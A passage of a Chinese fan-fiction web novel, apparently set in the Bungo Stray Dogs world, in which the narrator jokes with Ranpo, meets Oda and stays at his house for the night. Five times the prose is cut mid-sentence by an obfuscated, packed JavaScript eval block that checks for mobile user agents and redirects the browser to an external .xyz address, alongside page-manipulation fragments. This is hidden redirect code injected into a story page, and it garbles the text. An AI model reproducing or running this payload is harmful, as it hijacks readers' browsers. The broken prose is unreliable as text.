名侦探的表情变得严肃起来,“笨蛋因子是一种长久存在于人类身体中的物质,人类因此变得愚蠢,而究极笨蛋因子顾名思义,就是笨蛋因子的进阶版,有着更恐怖的令人变得愚蠢的作用。” 说得和真的一样,但谁都知道那不可能是真的,倘若真有这样的物质,恐怕会是一场科学界的大地震——名侦探也将变成青史留名的大科学家。 “我知道了,超推理的作用就是抑制这种物质。”你了然道,“乱步先生就是因为这样,才会拥有远超常人的聪明头脑。” 比起太宰治,乱步在平常并不会刻意掩饰心理活动,因此你能够看出,乱步有些意外你竟然会顺着他的话往下说。 你忽然放下冰淇淋勺子,朝他伸出了手。 即使是名侦探也推理不出来你这个举动的意图。 名侦探能明白人类的心理活动,但他似乎也看不透名为太宰朔的生物的心理活动。 乱步吃完最后一口冰淇淋,他注视着你,慢慢地把手搭在你的手上。 你笑了笑,“这样的话,乱步先生就能抑制我身上的笨蛋因子,让我变得聪明了吧?” “什么啊,你也是究极笨蛋吗?”乱步看向你的眼神变得十分不可思议。 “是呢,无论如何也没有办法拥有乱步先生这样神明一般的头脑。”你苦恼地看向他,“如果乱步先生能和我约会就好了,这样一来,我也会变得聪明许多吧。” “即使你这样吹捧我……” “我知道乱步先生一定对我这样的愚笨的家伙很不耐烦吧,在乱步先生的眼中,我这般的寻常人,简直就是草履虫一样的生物啊。” “啊,虽然一定程度上是实话没错,但是这样妄自菲薄……” “真想见识一下传说中的超推理啊,如果能够在有生之年看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13095915|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的话,人生也没有遗憾了。”你叹息一声。 乱步盯着你,沉默了一会儿后,他竖起食指,“再来一杯,不、三杯冰淇淋。” 再来三杯冰淇淋一定会肚子疼的,难道侦探作为横滨的宠儿,不仅有头脑上的强化,还有体能上的强化吗? “乱步先生是答应了吗?”你笑道。 乱步别过头,“这是对笨蛋的怜悯。” “那我们明天去游乐园玩吧!”你高兴地说。 “我答应的约会可不是那种约会——”乱步用勺子敲了敲杯子,不满地叫道,“名侦探的时间是很宝贵的。” “变小的我加上游乐园,说不定会出现神奇的云霄飞车杀人事件呢!”你兴高采烈地说。 有人变小+游乐园=杀人事件,奇怪的公式出现了。 “出现杀人事件才不是什么值得高兴的事情啊喂……”立原小声吐槽道。 这时候,一个高个子的男人端着餐盘走了过来。 他本来是想走到你们旁边那个客座上的,听到你们的对话,不禁问道,“什么杀人事件?” “在说游乐园哦。”你说。 “在说游乐园啊。”这是个有着赤铜色头发的男人,他坐在了乱步身边,脸上浮现出少许茫然的神色。 盘中是一份咖喱饭,散发着热气与香味。 你的肚子发出了咕噜噜的叫声,一份冰淇淋没法满足你的胃部所需。 赤铜色头发的男人见你和乱步都在看着他,点了点头,“游乐园新开设了模拟杀人事件的娱乐项目吗?” 38.第三十八章 游乐园出现模拟杀人案件的娱乐项目,放在别的地方听起来不太可行,但是在侦探文化流行的横滨,这样的破案游戏说不定会很受欢迎。 “不是啦。”你说,“是我预备在那里杀一个人。” “堂而皇之地在名侦探面前说出了杀人预告……”乱步念道,“好久没见到这样嚣张的家伙了。” “为什么要在游乐园?”赤铜发色的男人不解地问,不过他的提问并没有妨碍他低头舀一口咖喱饭,仿佛他只是随口一问。 ……这种时候的重点难道是游乐园吗? “重点明明是为什么突然要做出这种犯罪行为……”立原作为唯一的正常人,有气无力道,“应该是在开玩笑吧、是的吧?” 在回答之前,你的肚子再次叫了起来。 立原叹了口气,他去点了一份鸡肉煎饺套餐,并把主食菜单递到你面前。 你点了一份厚切牛排拌蒜蓉意面,外加一杯抹茶奶昔。坐在对面的乱步则取了一碟草莓千层蛋糕。 牛排和意面的味道平平无奇,但抹茶奶昔十分美味,也许这家店更擅长做甜品。 “不是玩笑。因为我想知道,在一个本该带来欢乐的地方与时机,忽然去降下死亡的阴影,会是什么样的感受。”你说。 “什么感受也不会有。”乱步说,“太宰朔,至少对你而言是这样。” “会想到这样做,是因为很大的仇恨吗。”赤铜发色的男人说。 “织田,有些人犯下深重的罪行不需要仇恨或者利益为动机。”乱步撇了撇嘴,“他们只是想摧毁点什么。这种家伙在日本,特别是横滨,尤其之多。” “乱步先生,这位朔君应该不是您说的那种人。”织田说。 也不知道他是怎么看出来你不是那种破坏分子的。 “谁知道呢,小朔,如果你执意这样做,我就不答应与你一同出去了。”乱步说。 “这样说来,您是答应与我一起去游乐园了?”你笑道。 乱步晃着手指,他的脸上露出早知如此的微笑,“不是哦,注意我刚才说的,是‘与你一同出去’,不是‘与你去游乐园’。” “像我这样呆笨如金鱼的家伙,果然没有邀请名侦探去游乐园玩的资格啊。”你失落地看着乱步。 “装可怜也没有用,最近不是玩的时候啦。”乱步说,“能和你出去一趟,已经是从时间的海绵里挤啊挤,才勉强挤出一点空闲来。如果我猜的没错,你还是很在意二叶亭的事情,想与我去教堂的吧。” “啊啊,是想去教堂看看没错,不愧是乱步先生……不过,没人能和我一起去游乐园,我只能孤零零地一个人去,这怎么能说装可怜呢,这是真的可怜啦。”你说着,添加了乱步的联系方式,你可以随时与他联系,约定时间一起出门。 立原用一种难懂的眼神看着你。 如果这是适合插话的场合,他大概会满脸问号地指着自己,问“我不是人吗?”之类的话。 “织田先生可以与我去游乐园吗?”你期待地看向织田。 织田一副若有所思的模样,“游乐园……原来如此,孩子们会有想去游乐园的愿望。那么——” “咦、咦,我不想和别的小孩一起!”你打断他。 织田困惑地看着你,“这样就不会孤零零的了。” “但是我不喜欢太热闹。”你说。 “是这样啊。说起来……”织田摸了摸下巴,他的视线在你身上的衣服上扫了一圈,又看了看立原,“名字是‘太宰朔’吗。小朔,你的长辈呢?” 你放下了手中的抹茶奶昔,沉默了一会儿后,低声道,“他太忙了。” 比名侦探还忙碌,即使拼命地挤压时间的海绵,也无法汲取出完整的陪伴你的时间。 除非发生意外情况,迫使那人不得已停下工作,但是这非常困难—— 在太宰就任首领的期间,遭遇过无数人为或自然的意外事件,但他每次都能顺利解决。 那家伙拥有把一切掌握在手中的能力,而这能力又不停地因Mafia的发展而提升着,这就致使他越来越强大,走向最顶峰……或走向毁灭。 织田把面前空空荡荡一点米粒也不剩的餐盘交给服务员,朝服务员低声说了句“谢谢”,然后又望向你。 他沉默地盯着你看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13113610|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很长一段时间。 “怎么了?织田先生。”你问。 “总觉得有点熟悉呢。”织田说。 一种奇怪的寂静开始在你们这一桌蔓延。 “什么?”你没有任由寂静肆意生长。 旁人很容易可以想到,他说的是他见过二叶亭彻。 但是、作为这寂静中的组成部分,你理解到的是——他说的绝对不是二叶亭彻。 因为,虽然这位织田先生对二叶亭彻并不熟识,可你能敏锐地感觉到,他也是能够迅速分辨出你与二叶亭彻的区别的人。 “你好像在乱步先生介绍我之前,就已经认识我了。再加上你说,‘准备杀死’……什么的,那样的神色。”织田说,“让我想到以前见过的一个人。” “我不喜欢自己与谁相似,但是织田先生这么说,我也有点好奇了。”你微笑着问道,“是什么样的人呢?” “我很难去形容。你和他不怎么相似,我会提起来,只是突然想到了而已。他要更阴郁沉默,或者说……嗯……”织田想了想,“总之,那是个背叛了我的家伙。” “背叛啊——真是可恨。”你说,“后来呢,织田先生抓住他了吗?” “没有。”织田说,“他在背叛了之后就消失了,就像水滴回归了大海,一点痕迹也找不到,我甚至不知道他的名字。” “这么有意思吗?”你说,“有点想看看那个人了,我会试着帮织田先生抓到他并且报……” “小朔!”乱步忽然抬起头,“抹茶奶昔怎么样?” “很好喝。”你低头看了看自己的杯子,还剩一点底,于是你把最后的奶昔喝完,将杯子放在桌上。 “那我也来一杯吧——”乱步招手,点餐。 服务员将抹茶奶昔端了上来,立原也试着要了一杯,所以是两杯。 织田看了一眼乱步,在片刻停顿后,他继续道,“除了那家伙是Mafia,没有任何其它的线索。” “……Mafia?”你手里的叉子一歪,在盘子上划出了有些刺耳的声音。 “是啊。”织田平淡地说,“和小朔在同一个组织里面呢。” 39.第三十九章 织田不喜欢Mafia,这是他亲口说的。 颇为神奇的一点是,当他说出“我不喜欢Mafia”的时候,他的脸上没有一丝一毫的厌恶之情显露……他的语气就像说“我讨厌鲱鱼罐头”,但是又不会让人怀疑他的话语的真实性。 “织田先生已经讨厌了Mafia,就不可以再讨厌我了。”你说。 “是这样吗。”织田疑惑地看着你。 当然不是这样,你这句话存在很大的问题。 “从自我的感觉上来说,我不讨厌你。”他又望了你身后的立原一眼,“但即使只是个少年,也是敌人啊。” 武装侦探社与港口Mafia彼此敌对的阵营问题阻隔在你们之间。 要想二者敌对关系缓解,只有一种办法,那就是—— 迫不得已地共同面对更强大的敌人。 “应该这样说,即使是敌人,我也只是个少年啊。”你纠正道。 织田若有所思地点了点头。 他对待孩子似乎有额外的宽容,因此,他对你没有很大的敌意……也有可能是他没有把敌意表现出来。 据他所说,他在陈述“不喜欢Mafia”时已经表现出了厌恶,但事实是,他的神色非常平淡,你完全没有听出所谓的厌恶。或许敌意也是如此。 乱步先生喝完抹茶奶昔就离开了座位,朝楼上走去。 他需要把与你一同前去教堂的事告知一下侦探社的社长,推掉其他的安排,空出时间来。 立原表现得比较安静,他很少插话,大多数时候只是静默地听着,于是只剩下你和织田有一搭没一搭地闲聊。 “你为什么来这里?”织田问。 来这里当然是为了找名侦探,他所问的意思是——你为什么来找乱步。 “为了一些谜团。”你说了句简短的废话,随后问,“织田先生又是为什么在这里呢?” “最初是有个好心的人告诉我可以到这里来。”织田认真地回答,“说是这里可以解决麻烦。后来接触得越来越频繁,以及,这里的咖喱饭很不错,于是干脆就留在侦探社了。” “‘为了咖喱饭’这种理由,是不是有点太随意了……”你吐槽道。 “国木田也这么说过。”织田仿佛考虑着什么,“那下次就说,‘因为侦探社的社员都是好人’吧。” “……其实‘为了咖喱饭’就很好。”你说。 织田点了点头,但他的表情一片空白,也不知道他听进去了没有,更不知道他下次究竟会说什么样的理由。 稍作停顿后,他仔细地看着你,“小朔有想过加入侦探社吗?” “咦,突然收到了织田先生的邀请,真是荣幸之至……”你微笑着摇了摇头,“但我的监护人是一名真正的Mafia,他是不会同意的。” “长辈的黑色血液不应当流淌到后辈身上。”织田说。 “可是织田先生也说了,侦探社的社员都是好人。” 你偏过头,咖啡厅的彩绘玻璃窗外一片漆黑,夜已经深了,雨声也不知在什么时候消失不见——雨已然停止,它还会再下吗?你不知道。 “我可算不上好人啊……”你轻声说,“最重要的原因不在于我的监护人的身份,而在于我自己。Mafia才是更适合我的归宿,至少……现在如此。” “原来如此。”织田没有去试着劝说你,也没有对你的话语表达任何主观看法。 在扭转你的想法与赞同你对自己的评价之间,他只表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13126186|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示了对于你的想法的知悉。 他也看了看窗外,站起身,“时间不早了,小朔,你跟这位先生也该回去……” “我想跟织田先生回家。”你也站起来,从桌子靠墙的地方,抱起一直乖巧听着人类说话的诺亚。 织田有些吃惊地眨了眨眼睛。 立原则快速地低声道,“朔君,那位让我保护好你,在原本的规划中你今天应该去接受训练,现在跑出来本来就……他不会同意的。” “立原,你是我的部下。”你冷静地抬头,轻声道,“不是他的,也不是其他的任何人的。” 立原愣了一下,但他其实没把你这句话真正放在心上,因为他看起来还想说些什么来劝服你。 但是很快他就察觉到了你的决心,只能有些着急地把手插进口袋,不安地用鞋子蹭着地板。立原凝视着织田,他好像希望织田能拒绝你。 “你的监护人不在家吗?”织田想了想。 显然,织田并没有收到立原的暗示——他茫然地看了一眼一直注视着自己的立原,然后低头整了整自己的衣领,嗯、没有染上污渍。随后,他抬头,依旧茫然地看着立原。 “……”立原颓败地叹了口气。 “他今晚不回来。”你说,“现在天这么黑了,我和立原回去也不安全,立原哥也才成年不久,和小孩子差不多。” 立原:“?” 事实上,你不知道太宰会不会回来,但这不妨碍你这么说。 两个Mafia异能者在黑夜里不安全,你是会说瞎话的。 “这么回去确实不安全……但总该和他说一声。”织田却赞同了你的话,“你打电话,我和你家长沟通一下,说明我的身份与住址,否则他会担心的。” 40.第四十章 你在通讯录里找到了备注为“诺亚的家属”的联系人。 费奥多尔很快就接通了电话,在对面开口说话前,你抢先道,“我今晚不回去了,我要借住在一位好心的先生家里。” 织田从你的手中接过电话,“你好,我是织田作之助。” 电话对面的人轻轻地笑了一下,“是织田先生啊……我是小朔的兄长,您可以叫我绯。” 费奥多尔在自我介绍的时候没有一丝一毫的停顿迟疑,旁边的立原露出怀疑自身记忆的表情。 他绞尽脑汁也想不出来你什么时候多了个叫“绯”的兄长。 “你认识我吗?”织田疑惑道。 “只是有这样听说过,织田先生是侦探社十分优秀的社员……” 费奥多尔没有在面前,但你能从他的语气,想象到他嘴角扬起的浅淡微笑,“如果是织田先生的话,小朔交给您,我也就放心了,您一定可以照顾好他的……能把电话给那孩子,让我和他说几句吗?” 虽然对面看不见织田的动作,但织田点了点头,把手机交还给你。 “朔君今晚又不想回来啊。”费奥多尔说。 “因为你是大忙人嘛。”你说,“回去也只是面对空荡荡的家,或者看着你对着电脑工作……很无聊诶?诺亚陪我的时间都比你长,我才不要回去。” “真是冤枉。”费奥多尔笑着叹息一声,“我很关心小朔的,还给你找了个新朋友准备为你介绍一下呢。以及——小鸟先生也特别特别想念你。有空的话多来找他玩吧。” “小鸟先生亲口这样说的吗?”你问。 “他当然是这样说的。”费奥多尔答。 “他为什么不来找我?”你问。 “嗯,真是个好问题——也许是他怕你肚子饿了,会生火把他炖成一锅肉汤。”费奥多尔笑道。 “我可没那么残忍。”你说,“他也没这么胆小——要是我真的这么做,说不定他会很高兴呢。” “是的,你最是仁慈。他现在就在旁边,听到你这么说的时候他就已经愉快地蹦跶起来了。”费奥多尔说,“他甚至高兴得有些害羞。” “什么是高兴得有些害羞?”你问。 你隐约听见对面传来一些杂音,伴随着果戈里的声音,但是你没能听清,声音太远太模糊了。 “他说,他还没有做好让自己的肉质变得鲜美的准备。”费奥多尔轻轻笑了笑,“明天早点回来吧?小朔。” 不论你有没有过去的打算,你乖巧地应了一声,挂断了电话。 立原用一种奇异的眼神看着你。 “这样就可以到织田先生家里去了吧。”你拉着织田的衣袖。 织田稍作思考,同意了这个对于“只是第一次见面的人”来说,有些冒昧的请求。 他好像压根没意识到这个请求很冒昧,没有露出丝毫为难的神色……他思考的应该是别的事。 在你们即将走出侦探社的时候,从电梯中走出来一位头发上别着蝴蝶发卡的女士。 你认识她——你的救命恩人,与谢野晶子。 与谢野似乎有些疲惫,没有注意到已经站在门外阴影中的你。 她走到前台那里点了一份鳗鱼饭外加一杯清酒——这咖啡厅里还真是什么都有。 立原却是站在门口盯着与谢野看了好一会儿,直到你用力扯了扯他的衣服,他才如大梦初醒般回过神,和你与织田一同离开了侦探社。 本来织田想坐公交车回家,但立原带你来的时候是开车来,于是,织田坐在驾驶座,你和立原坐在后座。 你抽空回复了森先生和费奥多尔的消息。 你回复森:【我会关照敦君的,以及,我想问一下之前忘记询问的事——八年前,森先生和太宰先生一起见过二叶亭彻吗?】 森鸥外没有回复,也许他现在正在忙碌,也有可能他需要斟酌一下如何回复。 于是你转向费奥多尔的聊天窗口:【你说得对,我的确对猎犬很感兴趣,但是条野采菊是谁?】 费奥多尔回复得很快,他好像每次都回复得很快,不知道是把你的消息设置了特殊提醒,还是他时刻关注着新信息:【朔君不认识他吗?】 你:【不认识。或许二叶亭彻认识吧。对了,刚才的事我得多谢费奥多尔先生,您刚才扮演得真好,有当演员的潜质呢,出演电影一定可以获奖的。】 费奥多尔:【您想让长久不见天日的鼠暴露在舞台灯光之下呀。】 你:【那,只为我出演,可以吗?】 费奥多尔发了个双手捧着下巴的小猫微笑表情包,没有回复别的东西。 又看了一会儿,没有别的重要消息,你收好手机。 也许是因为刚下完一场雨,夜晚路上的行人不多。 路灯亮着,有几只野猫探出草丛,不紧不慢地在路边散步,看见你们的车灯,便大睁着眼睛跳起来,矫捷地从柏油路上掠过。 “这儿附近有很多猫。”你说。 “这里以前的环境并不很好,楼房都很破旧,虽然达不到擂钵街贫民窟的地步,但也好不了多少。” 织田说,“老鼠有许多,所以居民们喜欢养猫……说是养,其实也没有怎么管它们,没有用专门的猫粮去细心喂养,就让它们在外面游荡。后来,因为城区的规划,环境变好了,新建了公寓楼,还修了草坪,但各种各样的猫还在,而且越来越多。” “野犬多吗?”你问。 “野狗倒是很少看见。”织田想了想,“可能是被成群的野猫赶走了,这群猫儿有的时候会为了食物装乖,但一般情况下还挺凶的呢。小朔问起这个,是因为喜欢小狗吗?” “都喜欢。如果在这两个里选择,可能会更偏向猫咪一点点。”你说,“我的监护人有近似猫咪的个性。” “有的人在亲近的人面前总是会更可爱一点。”织田说。 织田的住所很快就到了,你们下了车。 他的家和二叶亭彻的家很不一样,这里很有生活的气息。 门外有树篱和植被——那是花丛,只不过花的种类不是在秋天开,所以你只能在夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13139704|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚的黑暗中看见黑黢黢的一片草叶。 开了灯,进门边上的架子上摆着装饰品,既有质地冷硬的小锡兵,也有毛绒绒的柔软玩偶。这两种玩具放在一起竟然没有违和感。 除了玩具,还有各种乱七八糟的杂物,像是玻璃弹珠、沙漏瓶、地球仪…… 织田走到了厨房去,说是给你和立原煮两碗牛奶。 他的动作非常熟练,看来平日里没少这样做。 立原坐在沙发上的姿势有些拘谨,但他看向周围的目光却含带审视。 他在尝试从细节中推测出房屋的主人的性格与爱好。 你则在客厅周围转了转,沙发旁边的矮木柜上有一台风格复古的唱片机。 唱片机后面的墙上贴着好几张电影海报,EN MAN SOM HETER OVE……这是外国电影,讲的是一个男人决定去自杀的故事。 织田这家伙真有品味。 下一张呢?スワロウテイル(燕尾蝶),这部电影中充斥着犯罪、凶杀、非法移民等混乱的要素,是整体氛围阴郁压抑。你依稀记得这名字有蜕变的含义——由茧蜕变为蝶。 再下一张海报,誰も知らない(无人知晓)…… 你没有继续看海报,你随手拿起一张唱片,放在唱片机的唱盘上,唱针在沟槽中移动着。 空灵又典雅的小提琴曲调填充了整个房间,一种在上个世纪逐渐腐烂凋零、灵魂变得空洞的感觉,曲子的具体名字你没能听出来,这具身体的知识储备还不够丰富。 你走到厨房,织田正专心致志地盯着烧水壶。 你不经意瞥到厨房的冰箱上贴着一张便利贴,上面写着:【10月21日,乱步先生的生日,记得去买礼物。】 教堂案在十月十七日,那也是你被太宰带回Mafia的日子,算算时间…… “明天是乱步先生的生日……”你揉了揉自己的脑袋。 织田没有回头,“是啊,社长准备在明天晚上给乱步先生办一个生日会呢,小朔想来参加吗?” “可以吗?”你问,“我不是侦探社的社员。” “小朔是乱步先生的朋友,当然可以过来。”织田说。 他之前看到你和江户川乱步友好地谈话,也许是误会了什么。 “也是,朋友的话……”你将错就错,“我该准备什么礼物才好?” “礼物的话,只要用心考虑,乱步先生就会很高兴的吧。”织田说。 你若有所思地点了点头。 没过多久,织田端着两杯热好的牛奶,递给你一杯,然后把另外一杯放在立原身前的茶几上。 立原显得有些无措,他端端正正地坐在沙发的角落里。 “这位小哥也不想回家吗?”织田问起立原。 “从很久以前开始,Mafia就成为了我的家。”立原说,“而现在,因为命令,朔君住哪,我就住哪。” 织田了然,旋即他想到了什么,用有些苦恼的语气说,“只有一间客房……晚上该怎么分配睡觉的地方?” 41.第四十一章 “我要和织田先生一起睡。”你说,“这样立原就可以单独睡一间了。” “朔君的意思其实是‘立原去单独睡一间,这样我就可以和织田先生一起睡’了。”立原当即识破,有些委屈巴巴地说,“朔君就这么不喜欢和我在一块儿么?” “没有啦,我很喜欢立原。” 你拍了拍立原的肩膀——他比你高一些,你只有在他坐下的时候才有机会趁机拍拍他,“立原是我最喜欢的部下。” 你的部下也只有他一个——而且实际上他不是你的部下,他是听从太宰治的命令来保护兼看管你的。 “绯君应该有交代过,立原君是要和小朔待在一起的吧?”织田说。 “在同一个房子里也是待在一起。”你说。 织田点了点头,“那就这样吧——小朔睡卧室,立原君睡客房。” “那织田先生你呢?”你问。 织田指了指立原坐着的沙发,“睡这里。” “那怎么行,怎么能让房屋主人睡沙发呢。”你一手抱起放在桌上的诺亚,一手拉着织田,“而且织田先生不在的话,我会做噩梦。” “是什么样的噩梦?”他问。 “猩红色的噩梦。”你说。 “和‘绯君’有关吗?”织田问。 虽然费奥多尔化名的“绯”有猩红色的意思,但正常人大概是不会往名字方向联想的。 “和我的监护人有关。”你点了点头,诚实地在织田面前撒谎。 也许是因为听到你说会做噩梦,织田在片刻思索后,居然没有怀疑你在撒谎,而是直接同意了与你睡在卧室。 客厅的架子、桌子上有不少装饰物,空间得到填充,很有家的温馨感觉。 而卧室就简单得多了,一眼看过去,既没有玩具和唱片机,也没有电影海报。 你把诺亚放在卧室的窗户下面,蹲下来把织田刚才递给你的热牛奶悄悄分了一点给诺亚。 “我之前看见了电影海报,织田先生喜欢看电影吗?”你一边抚摸着诺亚,一边问。 “我对电影方面的东西一窍不通。”织田摇了摇头,“只是有几次,谷崎和直美一起去电影院,顺便拉上了我。他和我说,小说是没有办法强行写出来的,不要逼迫自己,去看看电影说不定能够好很多。外面那些海报也只是顺手拿回来之后,几个孩子贴上去的。” “咦,写小说?”你站起来,眨了眨眼,“原来织田先生不仅是侦探社的社员,还是大作家!” “不不,我还没法担起作家这个词……”织田连忙解释道,“想写的始终没有办法写出来,目前依然只是在胡乱地练习而已……” 你从他的神情中看出他不是在谦虚,而是真的这样认为。 “织田先生一定会成为大文豪的!”你认真地说。 “那简直是只能出现在梦中的事情啊,我连认真地写好一本的信心都没有呢。”织田叹了口气,“不过,谢谢你的祝福。” “如果能够看一看织田先生的作品就好了……”你如许愿一般,双手捧着装有牛奶的玻璃杯,如此说道。 说完后,你“咕咚咕咚”地把牛奶喝光,就好像生日许愿后吹灭蜡烛。 “我也希望有朝一日能够做到像你说的这样,完成一部作品……好了,不说这个了。” 织田说着,望向地上的诺亚,“那就是诺亚吗?” “织田先生竟然知道诺亚?”你放下玻璃杯,看了看织田,又看了看诺亚。 你蹲下来盯着花盆,“诺亚,你什么时候背着我偷偷认识了织田先生?” “是直美告诉我的,她兴冲冲地跑来,拿出手机给我看,说,‘一直以为只有织田先生这样的人,才会做出把花盆当宠物这样的事’……”织田说,“但是其实并不是她说的那样——我不会把花盆当做宠物。” “诺亚对不起,误会你了,你没有背着我偷偷和织田先生见面。”你摸了摸诺亚,“连织田先生都知道了呀,看来诺亚要变成大明星了——” 经过一天的奔波,诺亚身上的绷带不知道什么时候染上了些许灰尘,显得有点脏污,你转头望向织田,“织田先生,有绷带吗?” 织田从壁橱中拿出医疗箱,“听说诺亚见过Mafia的首领。” 你的动作没有丝毫异样,“是啊,首领先生也很喜欢诺亚,诺亚是个讨人喜欢的小乖花盆。” “我听说Mafia的首领不能轻易见到。”织田问,“他是个什么样的人?” “的确很难见到,所以织田先生提到的其实是隐秘呢……但是,谁叫我非常喜欢织田先生呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13151663|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我就悄悄告诉你一点点。” 你朝他招招手,于是织田俯身将耳朵凑过来听。 “首领先生他——”你用气音说,“是个好人。” 说完这句话,你就不再开口了。 织田站直,低头看着你。 你抬头看着他。 空气短暂地安静了一下。 “没有其他的了啊……”织田说。 你点了点头,“毕竟是首领先生嘛,我也很难见到的,唯独‘他是个好人’这件事可以确认下来。” “小朔是怎么确认的?”织田问。 “他给我糖果。”你笑着说,“是很好吃的薄荷糖哦?” 单凭这一点就确认他人是好人,未免太过草率,你可以多说一些。 织田若有所思,“会给孩子薄荷糖啊,也许的确是好人呢。” ……但是草率的话语遇到草率的人,就不用解释太多了。你们的脑回路对接到一起,形成了令人难以理解的神奇空气,如果立原在这里,大概会直接吐槽吧。 织田打开医疗箱,取出其中的绷带,这时候,你忽然看到医疗箱的盖子上画了一个有点抽象的记号笔小人。 “这是什么?”你好奇地指着记号笔小人。 “这个啊……”织田说,“是我之前说过的那个让我到侦探社来的好心人。那时候我受了点皮外伤,包扎伤口的时候,突然有一种奇异的冲动——把那个人记下来。但是,我既不知道那个人的名字,又因为当时光线很暗,他又戴着帽子,没能看清他的脸,于是,就把他画在了这里。” 你看来看去,实在是太过简笔画了,也就比火柴人好那么一点。恐怕即使那位“好心人”出现在这里,按照图画仔细比对,你也无法认出来。 “鸭舌帽和黑色的外套。”你辨认着特征。 “好像是和朔君身上这件款式很相似的披风外套。”织田想了想,“然后啊,他很瘦削,并且身高……估计也就是和朔君差不多的高度吧?比朔君高一小截?其实我已经忘得差不多了,因为是好几年前的事,而且也只是见了一面,说了几句话……完全可以说是陌生人。” “身高的话我还会再长的——”你把诺亚身上的绷带取下,把新的绷带为它一圈圈缠上,“织田先生有过去找这个人的想法吗?” 42.第四十二章 “加入侦探社的时候有想过,要不要去找他,告诉他我加入了侦探社……”织田说,“不过,再想想,他当时应该也只是随口提了一句侦探社,不会记得这件事,如果就这样找上去,未免太冒昧了。” 你若有所思地点了点头,煞有介事道,“我知道了…….这个人是好心人,我们Mafia的首领也是好心人,所以,他是我们首领。” 要是这样说,全世界的好人都是Mafia首领了,何等诡异的逻辑!正是该吐槽的时候—— 织田看了看你,“看来小朔真的很喜欢你们首领啊。” 这家伙是个吐槽绝缘体。 “诺亚也喜欢他哦,诺亚,是吧?” 你绑好花盆的绷带,拍了拍你的小乖花盆,站了起来。 它是那样乖巧,想必回复你的答案为“是”吧。 织田的衣柜非常神奇,里面竟然有少年的全套睡衣。 “因为常有小孩子会过来玩。”织田说。 “之前织田先生也提到过小孩子——原来如此,织田先生一定是孩子王吧。”你说。 “孩子王?”织田有点困惑。 “就是童话故事里带领孩子们打败大魔王的勇者。” 如果你现在再挥挥拳头摆个击败魔王的姿势,或许会更可爱一点,可惜你没有这样做……你保持着矜持。 “这样说的话……满足‘大魔王’这一称谓的,也只有你们那位首领了吧。”织田想了想。 把Mafia首领称作大魔王,没有人会反对。 他在许多人眼中就是不折不扣的大魔王,需要被打败、击杀——然后就能够领取击败魔王之后的丰富宝藏。 “不不,那位可不是‘大魔王’——你忘了吗,他是好人。”你不赞同地说,“除非他是好人魔王,但孩子王不应该带领孩子们和好人魔王作对。” “有道理。”织田点了点头,“但是‘好人’和‘魔王’是可以兼容的吗?一般情况下,‘魔王’之所以被称为‘魔王’,就是因为做了许多坏事。” “那么,首领先生他不是魔王,他是——”你一时没想到太宰治应该是童话故事里的什么角色,当场卡壳。 “没关系,以后再想吧。”织田安抚地说。 他帮你把装牛奶的玻璃空杯拿到了厨房,顺便关了唱片机。 也许是白天的两次幻象让你的精神感到疲惫,你很快就躺下来,进入了睡眠之中。 入睡时间比平日里更早、也更健康。 “时间与意义总在自相残杀,所以健康比黄金更罕见。”你迷迷糊糊地嘟囔着,说出的话乱七八糟,“晚睡不是我的错。” 好了,是的,对,很有道理……快睡吧。 然而,凌晨时分,你再次因噩梦而惊醒了。 